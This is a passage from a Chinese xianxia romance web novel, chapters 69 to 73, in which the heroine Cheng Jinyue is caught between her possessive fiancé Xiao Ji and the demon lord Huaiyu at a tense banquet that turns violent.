男人抬起头看着程今越,高傲在眼眸之中,不加掩饰,女人更是在眼中显露出十足的厌恶。 “程三小姐,砚修因为你受了一百道鞭刑,这件事你可知道?” 不是夫人,而是程三小姐。 很显然,对方是萧砚修的父母。 程今越不敢抬眸,她毕恭毕敬地,“今越知道。” “他的身份血脉尊贵,名声更是格外重要,这你可又知?” 男人开口。 “今越知道。” 男人冷冷一哼。 “你既然知道,便不该得寸进尺,还要求砚修来当面为你道歉!” 程今越没有说话,她只是乖巧温顺地低着头。 “程今越,大家都说你聪明,你也应该有些自知之明,大衍剑宗如今已经破败,不过是界主眼盲,才收留了你。” “更何况,你不过是程旭的私生女,血脉不正,更是没有做无定界夫人的资格。” “我说话有些直接,你要听得进去,明白吗?” 男人高抬着头,目光不屑,甚至不愿意多看程今越一眼。 程今越心中微微冷笑,对方的身份是不用怀疑了,萧砚修从前就格外高傲,最厌恶血脉低下之人,他的父母自己也是可见一斑了。 “今越明白。” 程今越越是温顺,对方的神色却越嚣张跋扈。 “明白,明白你不知道在砚修受罚时为他求情吗?我看你根本就不明白!” “那可是整整一百鞭!程今越,你真是心肠歹毒!贱人!” 女人站起身指着程今越。 可就在一瞬间,听见“砰”的一声,女人的手指瞬间断裂,鲜血横流,那一根断掉的手指落在地上。 她刚要惊呼,却看到门外走进一人,她的声音被生生地扼住了。 一道身影长长地拉着,光斜斜地照在他的身上。 他轻轻笑着,歪着头,懒散地看着这场闹剧,一双黑眸像不透风的帘子。 穿着一身干净的衣裳,气质随和雅致,但身上的寒意却怎么也压制不住。 “界主……您回来了,怎么不提前说说。”对方浑身一怔。 萧极置若罔闻,他笑意更深,走到程今越的身边,挡在她的身前。 程今越像一只瘦弱的小鸟,颤颤地躲在萧极身后。 “继续骂啊,我听着的。” 他看着萧砚修的父母,笑着,声音轻柔。 “不知道这里是什么地方了?嗯?” “发疯发到我面前了?” “我不是这个意思……萧极,你听我们解释……” 两人顿时慌张,他们背后冷汗频出。 萧极不加回应,两人瞬间又将目光放到程今越身上。 迫切的目光落在程今越身上,程今越却红着眼,低着头,靠在萧极身后。 “今越,伯父伯母错了,我们误会你了,今越……” 对方格外慌张。 萧极从来不和氏族的人来往,他没有血缘这个概念,也从不把这些人当做亲人。 萧极太强了,想要的什么都得到了。 他目中无人,他是个疯子。 萧极是真的可能把他们杀了。 萧极将程今越抱在怀里,懒散的声音在程今越耳边响起,像是丛林的风。 “你想要他们死吗?” 他将生死大权交到了程今越手里。 程今越冷笑。 让一个人掌握他人的生命大权的时候,越能看出这个人的性格。 萧极想要看她怎么做选择。 从程今越的表面性格来说,她一定会放过这两人的,她很善良。 但是从心底,程今越不喜欢受委屈,谁敢对她不好,她就恶毒地想要对面马上去死。 所以她只是低着头,开始哭泣,她微微颤抖着,一双眼睛泛红,她只是摇着头,没有开口。 摇头的意思就很多了,想要她做刽子手,不可能。 程三小姐的手是最干净的,她温柔善良,不染尘埃,她手中不会有鲜血。 侍卫将这两人无情地拉走,只剩地上的血还留着余温。 而后,一人踩在血上,站在程今越的面前。 “嫂嫂,砚修来给你道歉。” 萧砚修朝程今越拱手。 她和萧砚修四目相对,萧砚修看她的眼神格外怪异。 厌恶,恨,高傲,和一些压抑在喉咙里的感情。 萧极牵起程今越的手,格外亲昵地吻了吻她的额头,“别怕。” 她觉得气氛有些诡异。 第70章 动心。 程今越看着萧砚修,摇摇头,“盼兮已经告诉过我了,砚修那时还在病中,并不是砚修的错,况且我也并没有受伤。” 偌大的殿中,装潢华丽,她的声音甚至在殿中有回音。 她下意识地往萧极身上靠着,对萧砚修有些后怕,她身姿格外瘦弱,肌肤白皙,脸庞小巧,低着眼眸,在如此奢华的地方显得有些格格不入,仿佛应该高悬于雪山之上,令人景仰才对。 “可是小越的病不也一样没好。”萧极温柔地看着她。 她就知道萧极哪有什么兄友弟恭,他根本就不想给萧砚修台阶下。 可是最令人作呕的,他非要摆出这样一个和善的面目,让程今越去做这个恶人。 人模狗样。 萧砚修的手紧紧攥起,心中的气憋在心中。 “是,这完完全全是砚修的错,砚修性格毛躁,易受魔气躁动影响,这才惊扰了嫂嫂,是砚修之过。” 他说这话说得十分别扭,他萧砚修什么时候做过这么丢脸的事情,凭什么他要向程今越道歉,明明是程今越先欺骗的他! 萧砚修抬起眼睛,面无表情地看了程今越一眼,他咬着牙,郁气憋闷于胸,指甲嵌入掌心。 “砚修,这不怪你。”程今越连忙摇头。 她觉得气氛格外诡异,萧砚修看她的眼神就好像是一把刀,恨不得刺入她的心中。 萧砚修看着程今越,她柔弱,眼眸带泪,她倚靠在萧极身旁,像一只金丝雀。 和宁安长了一张一模一样的脸。 但和他印象中的性格完全不同。 宁安开朗活泼,有些傲气,有侠气,她敢爱敢恨,直率勇敢,她会拉起萧砚修的手,说他们要一起仗义走江湖。 没有人不喜欢她,她是一抹鲜艳的红色。 而不是眼前这个冒牌货…… 可这个世间怎么会有人长得一模一样? 他看着程今越,心也在一抽一抽地疼。 程今越曾拉着他的手如今和他最敬仰的表哥十指相扣,曾经在屋檐上和他背靠背的少女如今却倚靠在萧极的身边,曾经不断对他展露笑靥的那张脸,如今却带着恐慌又厌恶的眼眸看他。 明明他们以前那么美好,可偏偏现实却总是这样。 所有的爱都因回忆悄然滋生,用血肉滋养,嵌在骨头里,不见阳光,最后沉淀,变成恨。 “砚修,你也长大了,我并不想教你如何正确地去道歉。” 萧极的声音云淡风轻,一双黑眸带着薄雾,他笑着,带着寒意。 他颀长的身姿高傲地看着萧砚修,手中却漫不经心地摩挲着程今越的手。 程今越手中渐渐生出冷汗,他却只是笑吟吟地看着程今越。 “是……我明白。” 萧砚修朝前迈了一步,神色凝紧,他觉得自己的头好疼,他与程今越之前的回忆在不断冲击着他的大脑,就像是从前的每个日夜一样。 高傲自大的贵公子朝程今越恭敬地鞠躬,他说,“嫂嫂,我错了。” 程今越刚要开口,萧极却抓住她的手腕,示意她住嘴。 声音戛然而止。 萧极高坐在殿堂之上,悠闲地看着萧砚修,欣赏着他的痛苦。 程今越心中跳得很快,并不是因为有多关心萧砚修,只是害怕萧砚修脑子一抽,又开始发疯,把他们之前的事情全部泄漏出去。 萧极如今应该还不知道他们还有这一段过往,还不知道自己的弟弟曾和未婚妻曾风花雪月过,萧极洁癖格外地重,他讨厌别人沾染自己的东西。 如果萧极知道了,那现在萧砚修早就已经死了。 可是萧极还是不开口,他还不满意。 萧极笑了笑,声音沉而和缓,“萧砚修,我不太想给别人第二次机会。” 萧砚修双手紧紧攥住,身上的鞭伤还未好,还在隐隐作痛,但他如今已经几乎无法呼吸。 他扑通一声,跪在萧极身前,“界主,夫人,萧砚修知错了。” 萧砚修觉得自己的头好痛,好像有一个不属于他的魂魄在强行进入他的大脑,他无法控制自己的大脑,恨意涌上,如藤蔓一般滋生。 他觉得自己已经要疯了,自从见到程今越后,他的记忆开始混乱,整个人浑浑噩噩。 好像有不属于他的记忆开始涌入他的大脑,他脸色发白,冷汗频出。 不……这就是他的记忆…… 是吧? 程今越纹风不动,她紧张地抬眸看了一眼萧极,萧极却笑吟吟地,轻轻抬手,只见萧砚修瞬间被一掌拍出殿中,砰的一声落到殿门外,声音巨大,让地面都为之颤抖。 程今越心中随之一跳,泪水从她眼眸之中溢出,她的手中都是冷汗,她颤抖着,眼眸微红,让人忍不住生出保护欲。 萧极将程今越抱在怀里,他的一双大手摸着程今越的头发,手指插入发间,温暖宽厚,他的声音在程今越的耳边响起。 “小越,我说过,我会给你公正的,你还满意吗?” 装货。 程今越声音带着微微颤抖,“嗯……” 萧极为她出头,可不是为了什么爱,一张浅浅的笑挂在脸上,就像他甚至懒得伪装的教养与礼节,是高高在上的掌权者,是彻头彻尾的寒意,作壁上观。 这只是为了彰显程今越是他专属的玩物,是他的所有物,毫不掩饰的占有欲。 若是真的关爱程今越,他就会知道程今越不喜欢杀戮与血腥,他会为她变得温和,而不是像现在这样,残暴,冷血无情。 他想要的很简单,只是看观察程今越的表情,看她落泪,看她恐慌,看她需要自己的样子,看她被自己掌握的样子,好可爱,好心动…… 萧极觉得自己的心跳得很快。 “小越,我希望你对我说实话。” 他温柔地。 程今越抬起雾蒙蒙的眼睛看着他,“真的吗?” 萧极再一次眨着眼,表达着肯定。 程今越犹豫着,最后还是开了口。 “界主,我希望大家都好,不想你和砚修因为我闹僵,我并不喜欢血腥,也不喜欢吵闹……” 无可挑剔的答案。 萧极笑吟吟的。 “嗯,你说得有道理。” “不过很可惜,程今越,你没有拒绝的权利。” 程今越火气瞬间填满胸口,她看着萧极那双眼睛,她很讨厌。 她一定会把萧极的这双眼睛挖出来。 她脸上的笑没有消失。 好像这句话在她意料之内一样,“界主,我明白。” 她温顺地点点头。 轮到萧极看着程今越。 想象中的愤怒没有到来,他再一次失去了掌控。 像一拳打到了棉花上。 他脸上的笑容变得淡薄。 这让他想到小时候遇到的难以驯服的宠物,他喜欢驯服的过程,他喜欢做一个掌控者,萧极很有耐心,一直如此。 他会用心摩挲宠物的性格,习惯,喜好,萧极会慢慢将它驯服,磨平它的恐惧,让他信任自己,让它听话,乖巧地收入手中。 可一旦宠物被驯服后,萧极就会兴趣缺缺,然后将其杀掉。 “程今越,近朱者赤近墨者黑,这个道理我相信你懂。” “人可能是天生的,但更多是由环境造就的。” 程今越心中一颤,微微抬眸,看着萧极 “比如,追杀长明族的人数不胜数,长明族到现在好像没有活人了吧。” “你说,怎么就有人这么聪明,这么厉害,追杀她的人都死光了,她还悄无声息地成了大衍剑宗的三小姐,受万人景仰。” “而偏偏,她毫无灵力。” “你说,她到底怎么做到的呢?” 萧极的声音懒洋洋的,程今越在他的怀中,两人分享着彼此的体温。 萧极贴在程今越的耳边,气息钻进程今越的耳朵里面。 修长的手指摩挲着程今越的削薄的后背。 程今越却毫不为之所动,她脸上带着淡淡的笑,干净又轻柔。 “界主,我的事根本瞒不过你,你已经知道,又何必问我呢?” 这是一场博弈。 程今越刚好是赌徒。 这个世间没有秘密,只要用心都能得到结果。 但这需要一些命运。 可惜程今越不信命。 她赌萧极不清楚,不明白。 萧极对她是宠物,是打发时间。 但她走的每一步,都小心翼翼,她的命很贱,一不小心就会被老天收回,她用血肉铺垫她走过的每一条路。 萧极又轻笑着。 程今越又再一次地巧妙地避开他的问题。 “程今越,真的有人能出淤泥而不染吗?” 萧极将程今越抱得更紧,他笑着。 “界主,其实这些根本就不重要,我不过是想要苟活下去,我并不是一个重要的角色。” 程今越靠着萧极的怀里。 程今越看着萧极的喉结,滚动着,和她的刀非常适配。 如果可以,她真想狠狠捅进萧极的喉咙里,欣赏鲜血四溢的模样。 是的,程今越说得很对。 他根本不该*过问这些莫名其妙的问题。 程今越对他根本什么都不算。 但是萧极的心却随着程今越的眼眸跳动着。 复杂的情绪交织在一起,他不能明白是什么。 他只知道,程今越完完全全成为了他不能忽视的存在,他无法掌控,甚至被她玩弄。 这是挫败,不甘,讨好。 “的确是这样,程今越。” “我或许明白了。” 他吻上程今越的唇。 肆虐,残暴,和他身上的冷淡而高高在上的气质如出一辙。 “明天穿我给你的衣服,跟我去一个宴会。” 他懒散地笑着。 “什么宴会?” 灯光照得程今越的眼睛有些恍惚,一重又一重的气息袭来,她看不清萧极的神色。 “去见你的小狗们啊。” 他轻笑着。 “你不期待吗?”【魔蝎小说 mo xie xs .c om】 70-80 第71章 似是故人来。 程今越坐在铜镜前,她穿了一件碧绿色的长裙,高贵典雅,头发如绸缎一般披在肩上,身姿削瘦,一身出尘的气质尽露,宛若碧空之中最耀眼的宝石。 曾经程今越总是一身素雅的打扮,不加任何修饰,浑身白得如雪一样,像一朵无害的小白花,如今这个打扮倒是完全掩盖了这样的气质,颇有些贵气傲人的意味。 萧极站在程今越身后,轻轻将玉簪插进程今越的发髻之中。 他看着镜中的程今越,一双黑眸忍不住多停留了一眼。 说实话,他第一次见到程今越是在人间,这位大衍神女实在是声名远扬,任谁都忍不住想去看看这位菩萨长什么模样。 那时,程今越穿得单薄,看起来格外瘦弱,她的黑发随风飘逸,笑得格外干净,站在栀子花丛旁,被一群孩子围着。 美好得像是阳光照射下,春日的朝露一般,干净得让人觉得多看一眼都是玷污。 萧极那时情不自禁多看了一眼,谁都喜欢欣赏美,特别是黑暗的人格外向往光明。 所以萧极的心中忍不住生出了一种渴望——毁掉她。 看一个最干净的人痛苦,疯狂,悲伤。 “还不错。”他轻笑着。 如今他已经将程今越夺得了,但是他的目标还一直都没有达成。 因为,如今的程今越,好像和他表面上看起来的不一样。 虽然从各个方面来说,都是无可挑剔的大衍神女。 但这也是最大的问题——程今越好像真的拥有神性一般。 她慈悲,温顺,什么事情都几乎无法激起她的情绪,她的喜怒哀乐太过浅,像是浮于表面,像是真的神佛一般。 更为让人愤怒的是,程今越似乎没打算隐瞒这件事,她用行为干脆利落地表现出了这个特点。 善良,工于算计,温顺,冷酷,恶毒,天真,这些格外矛盾的特点一起出现在了她的身上,整个人像是一团迷雾,她可以根据对象的不同改变性格。 他看着镜中近乎完美的程今越,“程今越,你说,你这副模样,会不会更贴近你的真实性格一些呢?” 程今越没有回答,她轻笑着转身牵起萧极的手,“我是一个怎么样的人,很重要吗?” “今越不过是万千蜉蝣中的一只,不足界主挂齿。” 真实性格? 程今越胆子一向大,但是的确不敢在萧极面前坦白。 说什么? 界主,你能不能现在就去死? 这不太好吧。 程今越跟着萧极去往宴会。 她对外界的信息几乎全部来自书中,但是最近这些书上总是一片空白。 虽然她的心中也隐隐约约有些猜测。 奢华的山水庭院,雾气缭绕,如今是傍晚,前方金光隐约,笙歌四起,象征着宴会的来者不凡。 还没到地儿,就有人笑着出来迎接萧极,“界主,夫人,请。” 萧极的身高实在是优越,光华内敛,气质斐然,矜贵的气质完全遮掩不住。 他特地穿了和程今越同色系的长袍,心思众人皆知。 真是人模狗样的。 很快,程今越见到了第一个熟人。 孟朝。 着装打扮和从前别无二致,青岩山的少主身份并没有让他有什么改变。 他穿着深衣立在人群中,玉冠束发,身姿挺拔颀长,神色凛然,身上的凛冽肃杀之气毫不掩盖。 身旁有同龄的少年少女在他身边围坐一团,程今越认识,也都是仙界中的有名人物。 萧极到来,所有的人都忍不住往他的方向看去。 孟朝顺着所有人的目光抬头,看到程今越的那一刻,他的眼眸之中先是欣喜,随后又是惊讶。 在所有的目光注视下,他走向程今越,甚至没有看萧极一眼。 “三小姐。”像从前一般,恭敬有礼。 哄闹的气氛有些尴尬,但前方曼妙的舞姿与悠长的笙歌仍然没有停下。 “孟朝公子。” 萧极突然轻笑,在昏黄的光下显现出一丝凉薄的冷意。 他修长的腿迈出一步,挡在程今越身前,直勾勾地看着孟朝。 “孟公子,你的家教好像不是特别好。” 他微微偏头,看着孟朝,黑眸深邃,似笑非笑。 “不过也对,你回来得晚,被一对凡人收养,又有什么家教可言呢?” “没关系,我来教你。” 萧极一笑,呼吸间,所有人看见一道白光从他手中凝聚,直直地朝孟朝打去,众人惊呼。 谁知孟朝躲也不躲,剑出鞘,快得人看不清楚,“砰”的一声炸开,让人耳朵生疼,尘烟瞬间炸起,飘浮在空中,吓得众人连连咳嗽躲避。 程今越下意识就往旁边逃开,找死别搭上她,可萧极一把拉住她,不让她乱跑。 程今越连连咳嗽,眼眸变红,泪水盈在眼眶,烟雾逐渐散去,眼前的情景逐渐清晰起来。 孟朝冷冷地看着萧极,一把千斤重的玄铁剑轻松地拿在他的手里,瞬间抵消了灵力,碰撞开的灵力汇成风,吹起孟朝束起的长发。 “心胸狭隘,还以为有多好的教养。” 不仅如此,还从来都阴阳怪气,面上一套背后一套,孟朝厌恶这种高高在上的人,从骨子里就讨厌。 他做事从来都是光明磊落,最看不起的就是萧极这种人。 程今越连忙开口,“别吵了。” 一群疯子,要不是萧极强迫,她才不会来蹚这个浑水,孟朝性格直接火辣,萧极更是高傲自大,这两个人就不应该出现在一起。 宴会都还没有开始,进门前的地方已经碎了一地瓷器,一道深坑留在地上。 注定不是一个和平的夜晚。 一群疯子,程今越真的不想和一群疯子打交道。 打心眼里说,她真的喜欢安静。 四周静默,没有一个人开口说话。 程今越眼眸微红,她低着头,双手紧紧攥着。 孟朝看着程今越,又死死地盯着萧极,对方冷冷地笑着看着孟朝,又懒散地,轻轻抚摸着程今越的脸,温柔无比。 “你吓到我的夫人了。” 孟朝还想开口说些什么,千万的情绪堵在他的喉咙里,哽咽着。 有时候最令人痛苦的,无非是知道所有的真相,但却只能无能地站在原地,眼睁睁地看着一切发生。 他眼睁睁地看着程今越成为萧极的未婚妻,看着萧极带着程今越离开。 孟朝想要做的事情很多,第一件就是保护三小姐,可偏偏他就是做不到,越想要,越抓不住。 孟朝紧紧咬着牙,他要理智,他应该慢慢来,他不能给三小姐添乱了。 他冷冷一哼,转身就要离去。 此刻却有人笑着开口,“哎,怎么吵起来了?” “你瞧,孟公子和萧界主一在一起就这样,这让大家伙多难办。” 程今越心中火气瞬间炸开,不用抬头看她就知道是谁。 月如仪。 月如仪依旧是穿着一身红衣,在光下格外艳丽,难辨男女。 月如仪优哉游哉地吃着桃子,笑得灿烂。 “哎,孟公子和小越曾经在大衍剑宗就格外交好,小越从来都是帮持着孟公子,这等恩情,换谁能够忘记?” “孟朝公子一直重恩情,可谓是仁义之侠,唤一句三小姐也是应当的。” 她一本正经的,声音洪亮,好像真的是在劝架一样。 可这话却越说越让人心惊胆战。 所有人都看着月如仪,眼神格外恐慌,“界主,您一贯心胸宽广,总不会连这个都要介意吧?” 程今越心中一跳,可是月如仪还在继续说,“孟公子也不要在意,你的心情我们都理解,恩重如山的三小姐竟然就要成婚了,换谁心中好受?” 一人心里戳一句,就嫌吵得不够凶,看热闹不嫌事大。 萧极和孟朝关系不好众人皆知,因为什么也不是什么秘密。 但敢这么挑明的,月如仪还是第一个。 根本不知道动机在何处,做这样的事情对她根本没有任何好处。 “小越,不如你来评评理,你觉得谁做得对?” 程今越紧紧攥着手,她认为这个世界的疯子都应该去死。 静谧之中,只听见刀剑刺入血肉的声音。 鲜血瞬间涌在地上。 一把剑捅进了月如仪的喉咙里,她瞬间眼眸瞪大,但是嘴角却依旧笑着。 她瞬间瘫倒在地,瞬间化作一滩血水。 众人哑然,没有一个人敢开口说话。 程今越愣在原地,看着剑的归属者。 萧极。 他却皱着眉。 程今越疑惑,不是他做的? 那还有谁? 还有谁真的疯了,竟然敢在这样的场合下杀人?! 就在她还在思考的时候,一声不合时宜的耻笑在此刻响起。 熟悉,清晰,低沉。 程今越突然觉得心跳得格外的快,她甚至能听见自己的心跳。 她紧张地瞬间回头,眼眸瞬间放大。 只见庭院大门远处,高挺的少年站在光影之中。 他穿着的衣裳程今越不能再熟悉,那时程今越亲手准备送给一个人的。 可是不应该,不可能,他怎么会出现在这里? 怎么可能! 她看见了那一双不加掩饰的红色双眸,格外漂亮,具有攻击性。 他站在黑暗中,眼底蕴着一团深色的火焰,幽暗深沉。 与以往不同,他的右耳挂了一道流苏耳坠,鲜红的流苏落在他的肩上,伴随着他的动作,不断摇晃着,像是月光下的湖水被荡开了一圈粼粼的波纹,格外引人注目。 流苏上,镶嵌了一颗鲜艳的红色宝石,程今越死死地看着这颗宝石。 她心口隐隐有回应,这不是宝石,这是她的血。 “好热闹啊。”灯光混杂着月色将他鲜红的双眸照得格外神秘危险,他笑着。 这双眼睛穿透过雾气,直直地盯着程今越,“好久不见。” 第72章 “你和我一样,被程今越骗得团团转。” “怀钰……?” 程今越从来平静的眼眸此刻却微微瞪大,嘴唇微张,她的心跳得很快。 程今越站在灯火下,她被所有人簇拥着,站在人群之中,熠熠生辉,秀丽的长发如绸缎,白皙的脸颊上点了朱红,众生都是她的背景板,骨子里的矜贵让人难以移开眼睛。 宫殿往门外望去,月光之下,怀钰一个人孤寂地站在那儿,那双红色如血的眼眸和她四目相对,让她无处遁逃。 四周寂静无声,只有风轻轻掠过风铃的声音,清脆的声音悠长地响起,与耳旁的嗡鸣重叠在一起,又吹起树上的落花,悠悠散散地飘落在地上。 “是啊,是我啊。” 一反常态的,他笑着。 怀钰盯着程今越,像是本能反应,黏着,缠绵,像雨一样。 不知道为什么,怀钰突然想起来他们初见的那一天。 他记得很清楚,程今越就如今日一般,她耀眼夺目,被所有人簇拥着,柔弱的神女殿下站在光下,干净神圣。 而他恶贯满盈,肮脏不堪,被所有人厌恶着。 谁都没有想过他们会并肩在一起,就连怀钰自己都没有想过,这种事情就算是说出口,也会觉得好笑吧。 可命运就是喜欢捉弄人。 就像现在这样。 怀钰想了很多次他们正式再见面的场景,他甚至在梦里谋划了好多次。 从最开始的迫切,他一直想方设法联系程今越,他发了疯一样,他好想见到程今越,但凡程今越有一丝想和他见面的心,他都可以联系到程今越,不过很抱歉,真相血淋淋地摆在面前。 他拼命控制自己,不再去想程今越,但是藏在深处的话,死去的回忆,就像是梦魇一样,死死地扎根在他的脑海里,深入血肉,已经成了他身体的一部分。 他想告诉程今越,他眼眶湿了几回,他这些日子过得多么煎熬痛苦。 他想质问程今越,问你为什么要骗我,为什么要对我好,为什么要抱我吻我,说爱我,为什么做完一切后又丢下我。 可是程今越真的站在他的面前的时候。 怀钰的喉咙却被哽咽住了,明明他已经演练了一遍又一遍,但他的心还是一遍又一遍地绞痛着。 准备了千言万语,但是如今他却一句话都说不出口。 “嗯,是好久不见。” “请吧,魔君大人。” 程今越很快收起眼眸中那一丝惊讶,她轻轻笑着,端庄优雅,不失礼节。 怀钰脸上的笑却出现了一丝裂痕。 魔君大人…… 众人有些愣神,地上的血液都还没干,殿中十几个人皆神色微变。 大部分人没有见过这副面孔,心中唯有好奇。 听到程今越口中这一句“魔君大人”,众人觉得好像听错了一半,皆面露震惊之色。 谁? 众人的心怦怦直跳。 那位新上任的魔君,恶贯满盈,杀人如麻,手段残忍的魔君? 为什么他会出现在这里?为什么没有任何消息? 众人齐齐看向萧极。 萧极却嘴角上扬,一双黑眸轻瞥着怀钰,“魔君大人,我与夫人早已等候你多时了,请吧。” 四周鸦雀无声,众人还处在震惊之中。 “方才不是挺热闹的吗?” “怎么我一来就不说话了?” 怀钰笑着,神色略显疑惑。 严定看着萧极,心中一片浪涛,他知道一些内幕,但还是无法接受这样的现实。 魔族自从与仙界开战之后,近乎是势不可当,魔物涌入人界,肆意屠杀,无论男女老少,只要是活着的一律屠杀,四处家破人亡,血流成河,生灵涂炭。 仙界各宗皆派出弟子前往镇守,却死伤惨重,魔族一路朝仙界杀过来,已经血洗了几十个小宗门,竟然毫无还手之力。 事情紧急,众仙联合绞杀魔物,谁知曾经衰弱百年的魔族如今却出奇的强,不仅修为深厚,并且血肉生长速度极快,方砍掉右手,不久前砍掉的左手便又生长出来了,简直是怪物! 众仙门连忙拿出破魔铃对付,但谁知普通的破魔铃竟然对这些魔物并无太大的作用。 怪物吗?萧极笑着。 是啊,这不就是这位魔君大人的本事吗? 杀不死的怪物。 他将针对怀钰所制的破魔铃匀出一些灵力,分别做出了许多特制破魔铃,才将汹涌的怪物镇压下来,但也依旧不过是勉强能够应对的状态,没有人能明白,怀钰到底是怎么在短时间内做到这种程度。 这简直就是天降魔神。 魔物一批批到来,仙门不断镇压,一波又一波伤亡,谁都不知道对方还有多少实力。 “现在最好的办法只有一个,那就是杀了这个怪物!” “可当年我们联手封印这个怪物,也耗费了百仙之力,耗费珍宝无数,如今我们如何杀了他?” 于是这场宴会诞生。 一封信送到了怀钰的手中,写明了时间地点,除此之外,什么都没有。 这是一场鸿门宴。 谁都知道。 但是怀钰只是轻笑,没有丝毫犹豫,他应下了这个要求。 程今越知道这天迟早会到来,但没想过会这么快。 宴席早就准备齐全,参与宴会的人都是各个顶尖宗门中的掌权人,聪明圆滑,也瞬间明白了这是什么情况,每个人面上笑着,心怀鬼胎。 萧极与程今越坐于主位,右手是怀钰的位置,左手是孟朝的位置。 “魔君好样貌。” “初次见面,魔君,我敬你一杯。” “魔君真是少年才气啊。” 东一句西一句开始热闹起来。 歌舞又再次摇曳起来,悠长的琴声又奏起来。 所有人都落座,但怀钰却依旧站在远处,迟迟不肯落座。 月光下,怀钰的身形挺拔,他身形懒散,他看了一眼自己的位置,随后目光不屑,冷哼一声。 甚至没有动作,只是轻蔑地抬起那双猩红的眼眸,宴会中的木桌瞬间同时炸裂开,燃起诡异的红色火焰,连带着桌上的佳肴,在众目睽睽下,燃烧成灰烬。 所有人再次噤声,心都提到了嗓子眼。 “萧极,你最好想清楚一点,你知道,我脾气不是很好,又不像你这样能装。” 风吹起怀钰额前的碎发,将他耳畔的流苏坠子吹动,美丽妖冶又傲慢。 仙门中人无一不是家教森严,这样直白裸露,毫无教养的话从来没有人会在宴会之中说出口。 果真是传闻中那个傲慢的魔神! 萧极轻笑着,微微挑眉,没有因为怀钰的无礼而有任何恼怒之意。 “别这么着急啊。” 众人来到庭院深处,湖水荡漾,湖心之中有三座相连的水榭亭台,月色之下,显得精致华丽。 萧极与怀钰朝最中央的亭台走去。 程今越转身就朝另外的亭台走去,却被萧极一把抓住。 逃跑无果,桌子四面,一人坐了一边。 她觉得头疼。 怀钰看了一眼程今越,随后一把摔了那杯装满茶的杯子。 “让她滚。”他冷冷地开口,没一点好气儿。 孟朝皱眉,他刚要开口,却被萧极打断。 萧极笑着,他毫不恼怒,他牵起程今越的手,“小越,你想待在这儿吗?” 嗓音温柔,眼眸微笑。 “我知道,小越不太喜欢宴会,更何况这里还有小越不喜欢的人,没关系,小越可以去透透气。” 程今越得到允许,毫不回头地离开了这个是非之地。 已经走出好几步,萧极却又开口,“透完气记得回来,没有你陪着我会被人欺负的。” 他黑眸轻笑着,好整以暇地看着程今越。 装货。 萧极真是什么话都说得出口。 但好歹是解放了。 “萧极,你脸皮怎么可以这么厚。”怀钰冷笑着。 他习惯性地抬手,抚摸着耳坠上那颗红色珠子,玩弄着流苏。 不过也正常,萧极就是这样一个不要脸的人,甚至连夺妻这件事都能做出来,不以为耻反以为荣。 小越? 小越这个称呼是你能够叫的? 明明只有他才可以这样唤程今越! 不过也能够理解。 萧极就是一个小偷,他不仅夺走程今越,还要将他对程今越的称呼也一并夺走,令人作呕的第三者! “魔君大人,喝茶。”萧极仿佛没有听到怀钰说话一般。 他气定神闲地为怀钰又倒了一杯茶。 怀钰的脸瞬间变得阴沉,他又挥手将茶摔在地上。 萧极凭什么能够这么淡定,没有任何的廉耻之心! “萧极,你他妈别在这里装了,我看到你这副模样我就想吐。” 怀钰阴沉着脸。 “萧极,我就一句话,把程今越交出来,她必须死。” 怀钰抬起下巴,红眸看着萧极。 “魔君大人,你对我的夫人应该有着最基本的尊重。” 萧极笑得凉薄。 “你的夫人?” 怀钰突然大笑起来,他难以置信地看着萧极。 “萧极,我还以为你是个聪明人,但其实你也不过是个蠢货。” “我知道你这种人,过分自傲,不愿意相信事实,不想相信自己被骗,甚至自己骗自己,但是真相就是这样,你被程今越骗了。” “我无父无母,在世间飘荡,没有人教导我,我程今越骗实在是太正常了。” “但你呢,无定界的界主,仙界魁首,世间第一人,萧极。” “你们这种人,生下来就享受着别人一辈子都享受不到的荣华富贵,站在世间的最高点,高高在上,瞧不起所有人,傲慢自大。” 他靠在椅子上,笑得讥诮。 “但是,没有想到,你和我这类被世间抛弃的人又有什么区别呢?” “你和我一样,被程今越骗得团团转。” 第73章 “其实,你才是第三者,不是吗?” 萧极笑意很深,看起来心情格外的好,黑眸弯起,双手交叠看着怀钰。 “是吗?” 怀钰看着萧极这一副优哉游哉的模样,他心中的火焰瞬间燃起,他紧紧攥着手,将情绪强行压抑住。 他又气愤,但又有些得意,看着萧极自以为把握全局的模样他就觉得好笑。 “萧极,我知道你很聪明,天赋异禀,在观察识人这方面强得可怕,你甚至觉得自己能够洞察人心,你这一生太过顺利了,你根本没有被骗过,所以你很自信,我能够理解。” “更何况,在你看来,程今越是不是格外弱小,你根本不畏惧她,你认为一根手指头就能将她掐死,我也能够理解,毕竟一个毫无修为的人,又怎么能够对你造成威胁呢?” “程今越就是这样,看起来善良,聪明,温顺,通情达理,善解人意,但是她对所有人都这样,她手段太过高明,几乎没有人能对她产生厌恶之情,和她待在一起,被骗是很正常的,你不用太过自责。” 怀钰看着萧极,他觉得自己的话如此大度又通情达理,既没有针锋相对,也挽留了情面。 萧极这样高傲的人,应该可以理解他说的话。 离开了程今越的脑子的帮助,怀钰时常觉得有些不适应,但是他清楚地知道,必须自我成长,尽管如抽筋剥骨一般痛,尽管他从前最讨厌的便是与人交流。 他下意识学着程今越,模仿程今越,压抑住心中的感情,尽量不要让过于外露,程今越在他的大脑里,每一个神情与动作都如此的清晰,他学得很快,他开始学会把自己变成程今越。 可萧极没有说话,他依旧笑着,甚至又不厌其烦地再为怀钰添上一杯茶。 “说这么多,有些口渴吧。” 怀钰怒火烧到大脑,他现在就想站起身摔了桌子,把这里的人全杀了,然后直接将程今越夺走。 但是理智告诉他,这样的风险太大了,程今越绝对不能有事! 才不是关心程今越,只是因为程今越只能死在他的手中,这样恶毒的女人,他一定不会放过她的! 怀钰将这杯茶一口灌进了喉咙里,烫得要命,但是他仿佛感受不到痛一般,又仰起头笑起来。 他不能先乱了阵脚,萧极这个贱人,又在装! 怎么会有人当小三还这样义正言辞!心中毫无愧疚之意? 他一定会杀了萧极! 他不能愤怒,程今越已经答应嫁给他了,他才是正牌,他名正言顺,他应该稳住阵脚。 “慢慢喝,别烫着了,魔君大人。” 怀钰也为萧极倒了一杯茶水,随后轻笑,“没关系,我们可以慢慢说,我有耐心。” “她根本就不爱你,萧极,你何必一厢情愿呢?你明明为我魔族忙碌了许久,结果最后还是拿我没有办法,我已经把我的要求摆出来了,很复杂吗很困难吗?” “程今越远不是你想的那样单纯善良,她恶毒,自私自利,她会背叛大衍剑宗,会背叛我,那就一定会背叛你,这样的人,对你有什么好处吗?我与她有血海深仇,你只需将她交给我处理,我们仙魔两界便能重归于好,界主比我更加聪明,您应该明白,这样的事有多划算。” 